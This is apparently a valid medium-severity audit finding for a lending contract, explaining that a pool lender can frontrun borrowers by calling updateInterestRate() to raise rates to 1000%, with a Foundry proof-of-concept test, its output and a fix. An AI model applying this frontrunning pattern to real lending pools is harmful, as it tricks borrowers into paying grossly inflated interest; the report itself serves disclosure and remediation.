20,000 USDC
View results
Submission Details
Severity: medium
Valid

Pool owner can frontrun borrows by increasing interest rates

Summary

Pool owners can control the interest rates of the pool, to a maximum of 1000%. Before any borrower borrows from the pool, the pool owners (lenders) can frontrun the borrow by increasing the interest rates without the borrower's knowledge.

Vulnerability Details

The Pool owner, also known as lender, sets the interest rates when creating a pool. The maximum interest rate that can be set is 100,000 , or 1000%.

Firstly, the lender will create a pool with a very incentivizing interest rate, say 0 or 1%. This lures the borrower into borrowing from the pool and taking an almost interest free loan. However, before the borrower borrows from the pool, the lender calls updateInterestRate() and increases the interest rate to 1000%. The borrower does not realize this and thinks that the interest rate is only 0-1%. When repaying, the borrower has to pay an interest rate of 1000% instead of 0-1%.

Below is a test suite created in a new test file, Interest.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function test_normalBorrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 10000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
uint256 debt = lender.getLoanDebt(0);
console.log("Debt for borrower:", debt / 1e18);
vm.warp(block.timestamp + 365 days);
uint256 debt2 = lender.getLoanDebt(0);
console.log(
"----------------------------------------------------------------"
);
console.log("Debt after 1 year for borrower:", debt2 / 1e18);
}
function test_frontrunInterest() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 10000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000, //@audit - Original interest at 10%
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
lender.updateInterestRate(poolId,100000); //@audit - the frontrunning is here, lender updates interest to 1000%
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
uint256 debt = lender.getLoanDebt(0);
console.log("Debt for borrower:", debt / 1e18);
vm.warp(block.timestamp + 365 days);
uint256 debt2 = lender.getLoanDebt(0);
console.log(
"----------------------------------------------------------------"
);
console.log("Debt after 1 year for borrower with frontrunned interest:", debt2 / 1e18);
}
}

Run the test with the command forge test --match-path test/Interest.t.sol -vv and this would be the result:

Running 2 tests for test/Interest.t.sol:LenderTest
[PASS] test_normalBorrow() (gas: 622455)
Logs:
Debt for borrower: 100
----------------------------------------------------------------
Debt after 1 year for borrower: 110
[PASS] test_frontrunInterest() (gas: 625174)
Logs:
Debt for borrower: 100
----------------------------------------------------------------
Debt after 1 year for borrower with frontrunned interest: 1100

Impact

Borrower is tricked into paying an extremely high interest rate

Tools Used

Foundry

Recommendations

Recommend adding more restrictions when changing interest rates, such as allowing the lender to set the rates only when creating the pool. If the rates needs to be changed, the lender has to recreate a new pool.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.